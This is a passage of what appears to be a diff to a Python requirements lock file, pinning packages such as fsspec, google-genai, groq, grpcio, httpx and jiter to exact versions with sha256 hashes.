--hash=sha256:332db6b2563333c5671fecacd085141b5800cb866be16d5e3eb15a2086476675 \ + --hash=sha256:33f48f51a446114bc5d251fb2954ab0164d5be02ad3382abcbfe07e2531d650f \ + --hash=sha256:34187385b08f866104f0c0617404c8eb08165ab1272e884abc89c112e9c00746 \ + --hash=sha256:342c97bf697ac5480c0a7ec73cd700ecfa5a8a40ac923bd035484616efecc2df \ + --hash=sha256:3462dd9475af2025c31cc61be6652dfa25cbfb56cbbf52f4ccfe029f38decaf8 \ + --hash=sha256:39ecbc32f1390387d2aa4f5a995e465e9e2f79ba3adcac92d68e3e0afae6657c \ + --hash=sha256:3e0761f4d1a44f1d1a47996511752cf3dcec5bbdd9cc2b4fe595caf97754b7a0 \ + --hash=sha256:3ede829ed8d842f6cd48fc7081d7a41001a56f1f38603f9d49bf3020d59a31ad \ + --hash=sha256:3ef2d026f16a2b1866e1d86fc4e1291e1ed8a387b2c333809419a2f8b3a77b82 \ + --hash=sha256:405e8fe955c2280ce66428b3ca55e12b3c4e9c336fb2103a4937e891c69a4a29 \ + --hash=sha256:42145cd2748ca39f32801dad54aeea10039da6f86e303659db90db1c4b614c8c \ + --hash=sha256:4314debad13beb564b708b4a496020e5306c7333fa9a3ab90374169a20ffab30 \ + --hash=sha256:433403ae80709741ce34038da08511d4a77062aa924baf411ef73d1146e74faf \ + --hash=sha256:44389d135b3ff43ba8cc89ff7f51f5a0bb6b63d829c8300f79a2fe4fe61bcc62 \ + --hash=sha256:48e6d3f4ec5c7273dfe83ff27c91083c6c9065af655dc2684d2c200c94308bb5 \ + --hash=sha256:494a5952b1c597ba44e0e78113a7266e656b9794eec897b19ead706bd7074383 \ + --hash=sha256:4970ece02dbc8c3a92fcc5228e36a3e933a01a999f7094ff7c23fbd2beeaa67c \ + --hash=sha256:4e0c11f2cc6717e0a741f84a527c52616140741cd812a50422f83dc31749fb52 \ + --hash=sha256:50066c3997d0091c411a66e710f4e11752251e6d2d73d70d8d5d4c76442a199d \ + --hash=sha256:517279f58009d0b1f2e7c1b130b377a349405da3f7621ed6bfae50b10adf20c1 \ + --hash=sha256:54b2077180eb7f83dd52c40b2750d0a9f175e06a42e3213ce047219de902717a \ + --hash=sha256:5500ef82073f599ac84d888e3a8c1f77ac831183244bfd7f11eaa0289fb30714 \ + --hash=sha256:581ef5194c48035a7de2aefc72ac6539823bb71508189e5de01d60c9dcd5fa65 \ + --hash=sha256:59a6a5876ca59d1b63af8cd5e7ffffb024c3dc1e9cf9301b21a2e76286505c95 \ + --hash=sha256:5a3a935c3a4e89c733303a2d5a7c257ea44af3a56c8202df486b7f5de40f37e1 \ + --hash=sha256:5c1c8e78426e59b3f8005e9b19f6ff46e5845895adbde20ece9218319eca6506 \ + --hash=sha256:5d63a068f978fc69421fb0e6eb91a9603187527c86b7cd3f534a5b77a592b888 \ + --hash=sha256:667c3777ca571e5dbeb76f331562ff98b957431df140b54c85fd4d52eea8d8f6 \ + --hash=sha256:6da155091429aeba16851ecb10a9104a108bcd32f6c1642867eadaee401c1c41 \ + --hash=sha256:6dc4126390929823e2d2d9dc79ab4046ed74680360fc5f38b585c12c66cdf459 \ + --hash=sha256:7398c222d1d405e796970320036b1b563892b65809d9e5261487bb2c7f7b5c6a \ + --hash=sha256:74c51543498289c0c43656701be6b077f4b265868fa7f8a8859c197006efb608 \ + --hash=sha256:776f352e8329135506a1d6bf16ac3f87bc25b28e765949282dcc627af36123aa \ + --hash=sha256:778a11b15673f6f1df23d9586f83c4846c471a8af693a22e066508b77d201ec8 \ + --hash=sha256:78f7b9e5d6f2fdb88cdde9440dc147259b62b9d3b019924def9f6478be254ac1 \ + --hash=sha256:799345ab092bee59f01a915620b5d014698547afd011e691a208637312db9186 \ + --hash=sha256:7bf6cdf8e07c8151fba6fe85735441240ec7f619f935a5205953d58009aef8c6 \ + --hash=sha256:8009897cdef112072f93a0efdce29cd819e717fd2f649ee3016efd3cd885a7ed \ + --hash=sha256:80f85f0a7cc86e7a54c46d99c9e1318ff01f4687c172ede30fd52d19d1da1c8e \ + --hash=sha256:8585e3bb2cdea02fc88ffa245069c36555557ad3609e83be0ec71f54fd4abb52 \ + --hash=sha256:878be833caa6a3821caf85eb39c5ba92d28e85df26d57afb06b35b2efd937231 \ + --hash=sha256:8a76ea0f0b9dfa06f254ee06053d93a600865b3274358ca48a352ce4f0798450 \ + --hash=sha256:8b7b94a067d1c504ee0b16def57ad5738701e4ba10cec90529f13fa03c833496 \ + --hash=sha256:8d92f1a84bb12d9e56f818b3a746f3efba93c1b63c8387a73dde655e1e42282a \ + --hash=sha256:908bd3f6439f2fef9e85031b59fd4f1297af54415fb60e4254a95f75b3cab3f3 \ + --hash=sha256:92db2bf818d5cc8d9c1f1fc56b897662e24ea5adb36ad1f1d82875bd64e03c24 \ + --hash=sha256:940d4a017dbfed9daf46a3b086e1d2167e7012ee297fef9e1c545c4d022f5178 \ + --hash=sha256:957e7c38f250991e48a9a73e6423db1bb9dd14e722a10f6b8bb8e16a0f55f695 \ + --hash=sha256:96153e77a591c8adc2ee805756c61f59fef4cf4073a9275ee86fe8cba41241f7 \ + --hash=sha256:96f423a119f4777a4a056b66ce11527366a8bb92f54e541ade21f2374433f6d4 \ + --hash=sha256:97260ff46b207a82a7567b581ab4190bd4dfa09f4db8a8b49d1a958f6aa4940e \ + --hash=sha256:974b28cf63cc99dfb2188d8d222bc6843656188164848c4f679e63dae4b0708e \ + --hash=sha256:9ff15928d62a0b80bb875655c39bf517938c7d589554cbd2669be42d97c2cb61 \ + --hash=sha256:a6483e309ca809f1efd154b4d37dc6d9f61037d6c6a81c2dc7a15cb22c8c5dca \ + --hash=sha256:a88f062f072d1589b7b46e951698950e7da00442fc1cacbe17e19e025dc327ad \ + --hash=sha256:ac913f8403b36a2c8610bbfd25b8013488533e71e62b4b4adce9c86c8cea905b \ + --hash=sha256:adbeebaebae3526afc3c96fad434367cafbfd1b25d72369a9e5858453b1bb71a \ + --hash=sha256:b2a095d45c5d46e5e79ba1e5b9cb787f541a8dee0433836cea4b96a2c439dcd8 \ + --hash=sha256:b3210649ee28062ea6099cfda39e147fa1bc039583c8ee4481cb7811e2448c51 \ + --hash=sha256:b37f6d31b3dcea7deb5e9696e529a6aa4a898adc33db82da12e4c60a7c4d2011 \ + --hash=sha256:b4dec9482a65c54a5044486847b8a66bf10c9cb4926d42927ec4e8fd5db7fed8 \ + --hash=sha256:b4f3b365f31c6cd4af24545ca0a244a53688cad8834e32f56831c4923b50a103 \ + --hash=sha256:b6db2185db9be0a04fecf2f241c70b63b1a242e2805be291855078f2b404dd6b \ + --hash=sha256:b9be22a69a014bc47e78072d0ecae716f5eb56c15238acca0f43d6eb8e4a5bda \ + --hash=sha256:bac9c42ba2ac65ddc115d930c78d24ab8d4f465fd3fc473cdedfccadb9429806 \ + --hash=sha256:bf0a7e10b077bf5fb9380ad3ae8ce20ef919a6ad93b4552896419ac7e1d8e042 \ + --hash=sha256:c23c3ff005322a6e16f71bf8692fcf4d5a304aaafe1e262c98c6d4adc7be863e \ + --hash=sha256:c4c800524c9cd9bac5166cd6f55285957fcfc907db323e193f2afcd4d9abd69b \ + --hash=sha256:c7366fe1418a6133d5aa824ee53d406550110984de7637d65a178010f759c6ef \ + --hash=sha256:c8d1634419f39ea6f5c427ea2f90ca85126b54b50837f31497f3bf38266e853d \ + --hash=sha256:c9a63152fe95756b85f31186bddf42e4c02c6321207fd6601a1c89ebac4fe567 \ + --hash=sha256:cb89a7f2de3602cfed448095bab3f178399646ab7c61454315089787df07733a \ + --hash=sha256:cba69cb73723c3f329622e34bdbf5ce1f80c21c290ff04256cff1cd3c2036ed2 \ + --hash=sha256:cee686f1f4cadeb2136007ddedd0aaf928ab95216e7691c63e50a8ec066336d0 \ + --hash=sha256:cf253e0e1c3ceb4aaff6df637ce033ff6535fb8c70a764a8f46aafd3d6ab798e \ + --hash=sha256:d1eaff1d00c7751b7c6662e9c5ba6eb2c17a2306ba5e2a37f24ddf3cc953402b \ + --hash=sha256:d3bb933317c52d7ea5004a1c442eef86f426886fba134ef8cf4226ea6ee1821d \ + --hash=sha256:d4d3214a0f8394edfa3e303136d0575eece0745ff2b47bd2cb2e66dd92d4351a \ + --hash=sha256:d6a5df73acd3399d893dafc71663ad22534b5aa4f94e8a2fabfe856c3c1b6a52 \ + --hash=sha256:d8b7138e5cd0647e4523d6685b0eac5d4be9a184ae9634492f25c6eb38c12a47 \ + --hash=sha256:db1e72ede2d0d7ccb213f218df6a078a9c09a7de257c2fe8fcef16d5925230b1 \ + --hash=sha256:e25ac20a2ef37e91c1b39938b591457666a0fa835c7783c3a8f33ea42870db94 \ + --hash=sha256:e2de870d16a7a53901e41b64ffdf26f2fbb8917b3e6ebf398098d72c5b20bd7f \ + --hash=sha256:e4a3408834f65da56c83528fb52ce7911484f0d1eaf7b761fc66001db1646eff \ + --hash=sha256:eaa352d7047a31d87dafcacbabe89df0aa506abb5b1b85a2fb91bc3faa02d822 \ + --hash=sha256:eab8145831a0d56ec9c4139b6c3e594c7a83c2c8be25d5bcf2d86136a532287a \ + --hash=sha256:ec3cc8c5d4084591b4237c0a272cc4f50a5b03396a47d9caaf76f5d7b38a4f11 \ + --hash=sha256:edee74874ce20a373d62dc28b0b18b93f645633c2943fd90ee9d898550770581 \ + --hash=sha256:eefdba20de0d938cec6a89bd4d70f346a03108a19b9df4248d3cf0d88f1b0f51 \ + --hash=sha256:ef2b7b394f208233e471abc541cc6991f907ffd47dc72584acee3147899d6565 \ + --hash=sha256:f21f00a91358803399890ab167098c131ec2ddd5f8f5fd5fe9c9f2c6fcd91e40 \ + --hash=sha256:f4be2e3d8bc8aabd566f8d5b8ba7ecc09249d74ba3c9ed52e54dc23a293f0b92 \ + --hash=sha256:f57fb59d9f385710aa7060e89410aeb5058b99e62f4d16b08b91986b9a2140c2 \ + --hash=sha256:f6292f1de555ffcc675941d65fffffb0a5bcd992905015f85d0592201793e0e5 \ + --hash=sha256:f833670942247a14eafbb675458b4e61c82e002a148f49e68257b79296e865c4 \ + --hash=sha256:fa47e444b8ba08fffd1c18e8cdb9a75db1b6a27f17507522834ad13ed5922b93 \ + --hash=sha256:fb30f9626572a76dfe4293c7194a09fb1fe93ba94c7d4f720dfae3b646b45027 \ + --hash=sha256:fe3c58d2f5db5fbd18c2987cba06d51b0529f52bc3a6cdc33d3f4eab725104bd +fsspec==2025.9.0 \ + --hash=sha256:19fd429483d25d28b65ec68f9f4adc16c17ea2c7c7bf54ec61360d478fb19c19 \ + --hash=sha256:530dc2a2af60a414a832059574df4a6e10cce927f6f4a78209390fe38955cfb7 +func-timeout==4.3.5 \ + --hash=sha256:74cd3c428ec94f4edfba81f9b2f14904846d5ffccc27c92433b8b5939b5575dd +google-api-core==2.31.0 \ + --hash=sha256:2be84ee0f584c48e6bde1b36766e23348b361fb7e55e56135fc76ce1c397f9c2 \ + --hash=sha256:ef79fb3784c71cbac89cbd03301ba0c8fb8ad2aa95d7f9204dd9628f7adf59ab +google-api-python-client==2.184.0 \ + --hash=sha256:15a18d02f42de99416921c77be235d12ead474e474a1abc348b01a2b92633fa4 \ + --hash=sha256:ef2a3330ad058cdfc8a558d199c051c3356f6ed012436c3ad3d08b67891b039f +google-auth==2.53.0 \ + --hash=sha256:6e7449917c599b35126a99ec268ec6880301f2fea41dce198fe8fd83ff642b68 \ + --hash=sha256:e7e6aa16f6bee7b2b264830fd04f08087a1d5a836df516251a5d15327b246c9c +google-auth-httplib2==0.2.0 \ + --hash=sha256:38aa7badf48f974f1eb9861794e9c0cb2a0511a4ec0679b1f886d108f5640e05 \ + --hash=sha256:b65a0a2123300dd71281a7bf6e64d65a0759287df52729bdd1ae2e47dc311a3d +google-auth-oauthlib==1.2.2 \ + --hash=sha256:11046fb8d3348b296302dd939ace8af0a724042e8029c1b872d87fabc9f41684 \ + --hash=sha256:fd619506f4b3908b5df17b65f39ca8d66ea56986e5472eb5978fd8f3786f00a2 +google-genai==1.75.0 \ + --hash=sha256:56bac3991b311c93f980c0a2abcd287b672146905df1fbd71c92ed633d5a07cf \ + --hash=sha256:8dc4c096e7d6288c3087f6893f582fe52468932464781edb8193bd92b9fefb2c +googleapis-common-protos==1.70.0 \ + --hash=sha256:0e1b44e0ea153e6594f9f394fef15193a68aaaea2d843f83e2742717ca753257 \ + --hash=sha256:b8bfcca8c25a2bb253e0e0b0adaf8c00773e5e6af6fd92397576680b807e0fd8 +groq==0.32.0 \ + --hash=sha256:0ed0be290042f8826f851f3a1defaac4f979dcfce86ec4a0681a23af00ec800b \ + --hash=sha256:fb1ade61f47a06d1a1c1dc0fab690d269b799ebd57ad1dd867efaeaa7adeb2af +grpcio==1.76.0 \ + --hash=sha256:035d90bc79eaa4bed83f524331d55e35820725c9fbb00ffa1904d5550ed7ede3 \ + --hash=sha256:04bbe1bfe3a68bbfd4e52402ab7d4eb59d72d02647ae2042204326cf4bbad280 \ + --hash=sha256:063065249d9e7e0782d03d2bca50787f53bd0fb89a67de9a7b521c4a01f1989b \ + --hash=sha256:06c3d6b076e7b593905d04fdba6a0525711b3466f43b3400266f04ff735de0cd \ + --hash=sha256:08caea849a9d3c71a542827d6df9d5a69067b0a1efbea8a855633ff5d9571465 \ + --hash=sha256:0aaa82d0813fd4c8e589fac9b65d7dd88702555f702fb10417f96e2a2a6d4c0f \ + --hash=sha256:0b7604868b38c1bfd5cf72d768aedd7db41d78cb6a4a18585e33fb0f9f2363fd \ + --hash=sha256:0c37db8606c258e2ee0c56b78c62fc9dee0e901b5dbdcf816c2dd4ad652b8b0c \ + --hash=sha256:1c9b93f79f48b03ada57ea24725d83a30284a012ec27eab2cf7e50a550cbbbcc \ + --hash=sha256:2107b0c024d1b35f4083f11245c0e23846ae64d02f40b2b226684840260ed054 \ + --hash=sha256:2229ae655ec4e8999599469559e97630185fdd53ae1e8997d147b7c9b2b72cba \ + --hash=sha256:25a18e9810fbc7e7f03ec2516addc116a957f8cbb8cbc95ccc80faa072743d03 \ + --hash=sha256:26ef06c73eb53267c2b319f43e6634c7556ea37672029241a056629af27c10e2 \ + --hash=sha256:2e1743fbd7f5fa713a1b0a8ac8ebabf0ec980b5d8809ec358d488e273b9cf02a \ + --hash=sha256:32483fe2aab2c3794101c2a159070584e5db11d0aa091b2c0ea9c4fc43d0d749 \ + --hash=sha256:3bf0f392c0b806905ed174dcd8bdd5e418a40d5567a05615a030a5aeddea692d \ + --hash=sha256:3e2a27c89eb9ac3d81ec8835e12414d73536c6e620355d65102503064a4ed6eb \ + --hash=sha256:40ad3afe81676fd9ec6d9d406eda00933f218038433980aa19d401490e46ecde \ + --hash=sha256:4215d3a102bd95e2e11b5395c78562967959824156af11fa93d18fdd18050990 \ + --hash=sha256:45d59a649a82df5718fd9527ce775fd66d1af35e6d31abdcdc906a49c6822958 \ + --hash=sha256:45e0111e73f43f735d70786557dc38141185072d7ff8dc1829d6a77ac1471468 \ + --hash=sha256:479496325ce554792dba6548fae3df31a72cef7bad71ca2e12b0e58f9b336bfc \ + --hash=sha256:490fa6d203992c47c7b9e4a9d39003a0c2bcc1c9aa3c058730884bbbb0ee9f09 \ + --hash=sha256:49ce47231818806067aea3324d4bf13825b658ad662d3b25fada0bdad9b8a6af \ + --hash=sha256:4baf3cbe2f0be3289eb68ac8ae771156971848bb8aaff60bad42005539431980 \ + --hash=sha256:522175aba7af9113c48ec10cc471b9b9bd4f6ceb36aeb4544a8e2c80ed9d252d \ + --hash=sha256:5e8571632780e08526f118f74170ad8d50fb0a48c23a746bef2a6ebade3abd6f \ + --hash=sha256:615ba64c208aaceb5ec83bfdce7728b80bfeb8be97562944836a7a0a9647d882 \ + --hash=sha256:61f69297cba3950a524f61c7c8ee12e55c486cb5f7db47ff9dcee33da6f0d3ae \ + --hash=sha256:65a20de41e85648e00305c1bb09a3598f840422e522277641145a32d42dcefcc \ + --hash=sha256:6a15c17af8839b6801d554263c546c69c4d7718ad4321e3166175b37eaacca77 \ + --hash=sha256:747fa73efa9b8b1488a95d0ba1039c8e2dca0f741612d80415b1e1c560febf4e \ + --hash=sha256:7be78388d6da1a25c0d5ec506523db58b18be22d9c37d8d3a32c08be4987bd73 \ + --hash=sha256:81fd9652b37b36f16138611c7e884eb82e0cec137c40d3ef7c3f9b3ed00f6ed8 \ + --hash=sha256:83d57312a58dcfe2a3a0f9d1389b299438909a02db60e2f2ea2ae2d8034909d3 \ + --hash=sha256:8843114c0cfce61b40ad48df65abcfc00d4dba82eae8718fab5352390848c5da \ + --hash=sha256:8cc3309d8e08fd79089e13ed4819d0af72aa935dd8f435a195fd152796752ff2 \ + --hash=sha256:8ebe63ee5f8fa4296b1b8cfc743f870d10e902ca18afc65c68cf46fd39bb0783 \ + --hash=sha256:8eddfb4d203a237da6f3cc8a540dad0517d274b5a1e9e636fd8d2c79b5c1d397 \ + --hash=sha256:922fa70ba549fce362d2e2871ab542082d66e2aaf0c19480ea453905b01f384e \ + --hash=sha256:931091142fd8cc14edccc0845a79248bc155425eee9a98b2db2ea4f00a235a42 \ + --hash=sha256:971fd5a1d6e62e00d945423a567e42eb1fa678ba89072832185ca836a94daaa6 \ + --hash=sha256:980a846182ce88c4f2f7e2c22c56aefd515daeb36149d1c897f83cf57999e0b6 \ + --hash=sha256:9d9adda641db7207e800a7f089068f6f645959f2df27e870ee81d44701dd9db3 \ + --hash=sha256:9f8f757bebaaea112c00dba718fc0d3260052ce714e25804a03f93f5d1c6cc11 \ + --hash=sha256:a6ae758eb08088d36812dd5d9af7a9859c05b1e0f714470ea243694b49278e7b \ + --hash=sha256:a8c2cf1209497cf659a667d7dea88985e834c24b7c3b605e6254cbb5076d985c \ + --hash=sha256:acab0277c40eff7143c2323190ea57b9ee5fd353d8190ee9652369fae735668a \ + --hash=sha256:b331680e46239e090f5b3cead313cc772f6caa7d0fc8de349337563125361a4a \ + --hash=sha256:c088e7a90b6017307f423efbb9d1ba97a22aa2170876223f9709e9d1de0b5347 \ + --hash=sha256:d099566accf23d21037f18a2a63d323075bebace807742e4b0ac210971d4dd70 \ + --hash=sha256:d388087771c837cdb6515539f43b9d4bf0b0f23593a24054ac16f7a960be16f4 \ + --hash=sha256:dcfe41187da8992c5f40aa8c5ec086fa3672834d2be57a32384c08d5a05b4c00 \ + --hash=sha256:e6d1db20594d9daba22f90da738b1a0441a7427552cc6e2e3d1297aeddc00378 \ + --hash=sha256:ebea5cc3aa8ea72e04df9913492f9a96d9348db876f9dda3ad729cfedf7ac416 \ + --hash=sha256:ebebf83299b0cb1721a8859ea98f3a77811e35dce7609c5c963b9ad90728f886 \ + --hash=sha256:f0e34c2079d47ae9f6188211db9e777c619a21d4faba6977774e8fa43b085e48 \ + --hash=sha256:f92f88e6c033db65a5ae3d97905c8fea9c725b63e28d5a75cb73b49bda5024d8 \ + --hash=sha256:f9f7bd5faab55f47231ad8dba7787866b69f5e93bc306e3915606779bbfb4ba8 \ + --hash=sha256:fd5ef5932f6475c436c4a55e4336ebbe47bd3272be04964a03d316bbf4afbcbc \ + --hash=sha256:ff8a59ea85a1f2191a0ffcc61298c571bc566332f82e5f5be1b83c9d8e668a62 +h11==0.16.0 \ + --hash=sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1 \ + --hash=sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86 +hf-xet==1.1.10 \ + --hash=sha256:0a0005fd08f002180f7a12d4e13b22be277725bc23ed0529f8add5c7a6309c06 \ + --hash=sha256:408aef343800a2102374a883f283ff29068055c111f003ff840733d3b715bb97 \ + --hash=sha256:5f54b19cc347c13235ae7ee98b330c26dd65ef1df47e5316ffb1e87713ca7045 \ + --hash=sha256:686083aca1a6669bc85c21c0563551cbcdaa5cf7876a91f3d074a030b577231d \ + --hash=sha256:6b6bceb6361c80c1cc42b5a7b4e3efd90e64630bcf11224dcac50ef30a47e435 \ + --hash=sha256:71081925383b66b24eedff3013f8e6bbd41215c3338be4b94ba75fd75b21513b \ + --hash=sha256:eae7c1fc8a664e54753ffc235e11427ca61f4b0477d757cc4eb9ae374b69f09c \ + --hash=sha256:f900481cf6e362a6c549c61ff77468bd59d6dd082f3170a36acfef2eb6a6793f +httpcore==1.0.9 \ + --hash=sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55 \ + --hash=sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8 +httplib2==0.32.0 \ + --hash=sha256:48a0ef30a42db65d8f3399045e1d09ab0ba66e3b9efc360d07f80ea55d286025 \ + --hash=sha256:dc6705cacdf3fb0a2aba7629fa33c90fd93e30035db0c157325826be177e4816 +httpx==0.28.1 \ + --hash=sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc \ + --hash=sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad +httpx-sse==0.4.3 \ + --hash=sha256:0ac1c9fe3c0afad2e0ebb25a934a59f4c7823b60792691f779fad2c5568830fc \ + --hash=sha256:9b1ed0127459a66014aec3c56bebd93da3c1bc8bb6618c8082039a44889a755d +huggingface-hub==0.35.3 \ + --hash=sha256:0e3a01829c19d86d03793e4577816fe3bdfc1602ac62c7fb220d593d351224ba \ + --hash=sha256:350932eaa5cc6a4747efae85126ee220e4ef1b54e29d31c3b45c5612ddf0b32a +idna==3.15 \ + --hash=sha256:048adeaf8c2d788c40fee287673ccaa74c24ffd8dcf09ffa555a2fbb59f10ac8 \ + --hash=sha256:ca962446ea538f7092a95e057da437618e886f4d349216d2b1e294abfdb65fdc +importlib-metadata==8.5.0 \ + --hash=sha256:45e54197d28b7a7f1559e60b95e7c567032b602131fbd588f1497f47880aa68b \ + --hash=sha256:71522656f0abace1d072b9e5481a48f07c138e00f079c38c8f883823f9c26bd7 +inquirerpy==0.3.4 \ + --hash=sha256:89d2ada0111f337483cb41ae31073108b2ec1e618a49d7110b0d7ade89fc197e \ + --hash=sha256:c65fdfbac1fa00e3ee4fb10679f4d3ed7a012abf4833910e63c295827fe2a7d4 +jaraco-classes==3.4.0 \ + --hash=sha256:47a024b51d0239c0dd8c8540c6c7f484be3b8fcf0b2d85c13825780d3b3f3acd \ + --hash=sha256:f662826b6bed8cace05e7ff873ce0f9283b5c924470fe664fff1c2f00f581790 +jaraco-context==6.1.0 \ + --hash=sha256:129a341b0a85a7db7879e22acd66902fda67882db771754574338898b2d5d86f \ + --hash=sha256:a43b5ed85815223d0d3cfdb6d7ca0d2bc8946f28f30b6f3216bda070f68badda +jaraco-functools==4.4.0 \ + --hash=sha256:9eec1e36f45c818d9bf307c8948eb03b2b56cd44087b3cdc989abca1f20b9176 \ + --hash=sha256:da21933b0417b89515562656547a77b4931f98176eb173644c0d35032a33d6bb +jeepney==0.9.0 \ + --hash=sha256:97e5714520c16fc0a45695e5365a2e11b81ea79bba796e26f9f1d178cb182683 \ + --hash=sha256:cf0e9e845622b81e4a28df94c40345400256ec608d0e55bb8a3feaa9163f5732 +jinja2==3.1.6 \ + --hash=sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d \ + --hash=sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67 +jiter==0.11.0 \ + --hash=sha256:07630bb46ea2a6b9c6ed986c6e17e35b26148cce2c535454b26ee3f0e8dcaba1 \ + --hash=sha256:089f9df9f69532d1339e83142438668f52c97cd22ee2d1195551c2b1a9e6cf33 \ + --hash=sha256:09858f8d230f031c7b8e557429102bf050eea29c77ad9c34c8fe253c5329acb7 \ + --hash=sha256:11840d2324c9ab5162fc1abba23bc922124fedcff0d7b7f85fffa291e2f69206 \ + --hash=sha256:11df2bf99fb4754abddd7f5d940a48e51f9d11624d6313ca4314145fcad347f0 \ + --hash=sha256:144fc21337d21b1d048f7f44bf70881e1586401d405ed3a98c95a114a9994982 \ + --hash=sha256:1d4a6c4a737d486f77f842aeb22807edecb4a9417e6700c7b981e16d34ba7c72 \ + --hash=sha256:1d9637eaf8c1d6a63d6562f2a6e5ab3af946c66037eb1b894e8fad75422266e4 \ + --hash=sha256:1dc6a123f3471c4730db7ca8ba75f1bb3dcb6faeb8d46dd781083e7dee88b32d \ + --hash=sha256:25a5b1110cca7329fd0daf5060faa1234be5c11e988948e4f1a1923b6a457fe1 \ + --hash=sha256:25c625b9b61b5a8725267fdf867ef2e51b429687f6a4eef211f4612e95607179 \ + --hash=sha256:29ed1fe69a8c69bf0f2a962d8d706c7b89b50f1332cd6b9fbda014f60bd03a03 \ + --hash=sha256:29fff31190ab3a26de026da2f187814f4b9c6695361e20a9ac2123e4d4378a4c \ + --hash=sha256:2fb7b377688cc3850bbe5c192a6bd493562a0bc50cbc8b047316428fbae00ada \ + --hash=sha256:3893ce831e1c0094a83eeaf56c635a167d6fa8cc14393cc14298fd6fdc2a2449 \ + --hash=sha256:4441a91b80a80249f9a6452c14b2c24708f139f64de959943dfeaa6cb915e8eb \ + --hash=sha256:452d13e4fd59698408087235259cebe67d9d49173b4dacb3e8d35ce4acf385d6 \ + --hash=sha256:452d80a1c86c095a242007bd9fc5d21b8a8442307193378f891cb8727e469648 \ + --hash=sha256:494ba627c7f550ad3dabb21862864b8f2216098dc18ff62f37b37796f2f7c325 \ + --hash=sha256:4ad8bd82165961867a10f52010590ce0b7a8c53da5ddd8bbb62fef68c181b921 \ + --hash=sha256:4ee5821e3d66606b29ae5b497230b304f1376f38137d69e35f8d2bd5f310ff73 \ + --hash=sha256:4f01a744d24a5f2bb4a11657a1b27b61dc038ae2e674621a74020406e08f749b \ + --hash=sha256:53933a38ef7b551dd9c7f1064f9d7bb235bb3168d0fa5f14f0798d1b7ea0d9c5 \ + --hash=sha256:5661469a7b2be25ade3a4bb6c21ffd1e142e13351a0759f264dfdd3ad99af1ab \ + --hash=sha256:572208127034725e79c28437b82414028c3562335f2b4f451d98136d0fc5f9cd \ + --hash=sha256:5a7092b699646a1ddc03a7b112622d9c066172627c7382659befb0d2996f1659 \ + --hash=sha256:5beb56d22b63647bafd0b74979216fdee80c580c0c63410be8c11053860ffd09 \ + --hash=sha256:63782a1350917a27817030716566ed3d5b3c731500fd42d483cbd7094e2c5b25 \ + --hash=sha256:6e2bbf24f16ba5ad4441a9845e40e4ea0cb9eed00e76ba94050664ef53ef4406 \ + --hash=sha256:719891c2fb7628a41adff4f2f54c19380a27e6fdfdb743c24680ef1a54c67bd0 \ + --hash=sha256:76c15ef0d3d02f8b389066fa4c410a0b89e9cc6468a1f0674c5925d2f3c3e890 \ + --hash=sha256:7764f27d28cd4a9cbc61704dfcd80c903ce3aad106a37902d3270cd6673d17f4 \ + --hash=sha256:7b13a431dba4b059e9e43019d3022346d009baf5066c24dcdea321a303cde9f0 \ + --hash=sha256:8e36924dad32c48d3c5e188d169e71dc6e84d6cb8dedefea089de5739d1d2f80 \ + --hash=sha256:8fe6530aa738a4f7d4e4702aa8f9581425d04036a5f9e25af65ebe1f708f23be \ + --hash=sha256:902b43386c04739229076bd1c4c69de5d115553d982ab442a8ae82947c72ede7 \ + --hash=sha256:97025d09ef549795d8dc720a824312cee3253c890ac73c621721ddfc75066789 \ + --hash=sha256:9a6dff27eca70930bdbe4cbb7c1a4ba8526e13b63dc808c0670083d2d51a4a72 \ + --hash=sha256:a1b7cbe3f25bd0d8abb468ba4302a5d45617ee61b2a7a638f63fee1dc086be99 \ + --hash=sha256:a4d71d7ea6ea8786291423fe209acf6f8d398a0759d03e7f24094acb8ab686ba \ + --hash=sha256:a624d87719e1b5d09c15286eaee7e1532a40c692a096ea7ca791121365f548c1 \ + --hash=sha256:a9d0146d8d9b3995821bb586fc8256636258947c2f39da5bab709f3a28fb1a0b \ + --hash=sha256:adcab442f4a099a358a7f562eaa54ed6456fb866e922c6545a717be51dbed7d7 \ + --hash=sha256:af62e84ca3889604ebb645df3b0a3f3bcf6b92babbff642bd214616f57abb93a \ + --hash=sha256:b0f32e644d241293b892b1a6dd8f0b9cc029bfd94c97376b2681c36548aabab7 \ + --hash=sha256:b1ae2a7593a62132c7d4c2abbee80bbbb94fdc6d157e2c6cc966250c564ef774 \ + --hash=sha256:b42c2cd74273455ce439fd9528db0c6e84b5623cb74572305bdd9f2f2961d3df \ + --hash=sha256:b7b0178417b0dcfc5f259edbc6db2b1f5896093ed9035ee7bab0f2be8854726d \ + --hash=sha256:b8da18a99f58bca3ecc2d2bba99cac000a924e115b6c4f0a2b98f752b6fbf39a \ + --hash=sha256:bb948402821bc76d1f6ef0f9e19b816f9b09f8577844ba7140f0b6afe994bc64 \ + --hash=sha256:bf11807e802a214daf6c485037778843fadd3e2ec29377ae17e0706ec1a25758 \ + --hash=sha256:c0a7f0ec81d5b7588c5cade1eb1925b91436ae6726dc2df2348524aeabad5de6 \ + --hash=sha256:c2d13ba7567ca8799f17c76ed56b1d49be30df996eb7fa33e46b62800562a5e2 \ + --hash=sha256:c59459beca2fbc9718b6f1acb7bfb59ebc3eb4294fa4d40e9cb679dafdcc6c60 \ + --hash=sha256:c5e86126d64706fd28dfc46f910d496923c6f95b395138c02d0e252947f452bd \ + --hash=sha256:c6f3b32bb723246e6b351aecace52aba78adb8eeb4b2391630322dc30ff6c773 \ + --hash=sha256:c9967c2ab338ee2b2c0102fd379ec2693c496abf71ffd47e4d791d1f593b68e2 \ + --hash=sha256:cb5d9db02979c3f49071fce51a48f4b4e4cf574175fb2b11c7a535fa4867b222 \ + --hash=sha256:cdef53eda7d18e799625023e1e250dbc18fbc275153039b873ec74d7e8883e09 \ + --hash=sha256:cf408d2a0abd919b60de8c2e7bc5eeab72d4dafd18784152acc7c9adc3291591 \ + 